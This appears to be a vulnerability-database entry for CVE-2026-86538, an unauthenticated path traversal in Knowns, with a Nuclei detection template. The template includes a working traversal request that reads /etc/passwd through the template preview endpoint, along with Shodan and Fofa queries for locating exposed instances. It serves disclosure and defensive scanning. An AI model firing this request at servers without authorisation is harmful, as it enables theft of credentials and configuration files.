SecurityContext

CVE-2026-86538: knowns <= 0.29.1 - Unauthenticated Arbitrary File Read via Template Preview Path Traversal

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.02803
  • Epss percentile: 0.86834
  • Not known: cpe

Metadata

  • Fofa-query: title="Knowns"
  • Max-request: 2
  • Product: knowns
  • Shodan-query: http.title:"Knowns"
  • Vendor: knowns-dev
  • Verified: yes

Products

ProductIndexedUrl
knowns-dev:knownsno—

Labels

  • Name: Unknown - Path Traversal
  • Impact: Unauthenticated attackers can read sensitive files, potentially exposing credentials and configuration data.
  • Remediation: Update to version 0.30.0 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-86538
  • Not known: requirements

```yaml

id: CVE-2026-86538

info:

name: knowns <= 0.29.1 - Unauthenticated Arbitrary File Read via Template Preview Path Traversal

author: maulanawirawan

severity: high

description: |

Knowns versions through 0.29.1 allow unauthenticated file reads through the template preview endpoint when no server password is configured. The templateFile parameter is joined to a template directory without a path containment check, allowing traversal outside that directory; version 0.30.0 rejects such paths.

impact: |

An unauthenticated attacker can read files accessible to the Knowns server process, including configuration files and credentials.

remediation: |

Upgrade Knowns to version 0.30.0 or later, configure a server password, and restrict access to the web interface.

reference:

- https://github.com/knowns-dev/knowns/security/advisories/GHSA-fpxv-c555-rhm3

- https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e

- https://github.com/knowns-dev/knowns/releases/tag/v0.30.0

- https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-templatefile-parameter

- https://nvd.nist.gov/vuln/detail/CVE-2026-86538

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2026-86538

epss-score: 0.02803

epss-percentile: 0.86834

cwe-id: CWE-22

metadata:

verified: true

max-request: 2

vendor: knowns-dev

product: knowns

shodan-query: 'http.title:"Knowns"'

fofa-query: 'title="Knowns"'

tags: cve,cve2026,knowns,path-traversal,lfi,unauth,vkev

http:

- raw:

- |

GET /api/templates HTTP/1.1

Host: {{Hostname}}

- |

POST /api/templates/preview HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"name":"{{tname}}","templateFile":"../../../../../../../../../../../etc/passwd"}

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- regex('"content"\\s*:\\s*"[^"]*?root:[^:"]*:0:0:', body_2)

condition: and

extractors:

- type: regex

part: body_1

internal: true

name: tname

group: 1

regex:

- '"name"\s*:\s*"([^"]+)"'

digest: 490a0046304402204c7e211ae45435bd10fdb79e8312922dab5de7dbad2ef84a18996e22737b70f3022011e6be854b4a42a46389c822cb1217d5e1ac5a93ba9a14d5c0c73f03763aa381:922c64590222798bb761d5b6d8e72950

```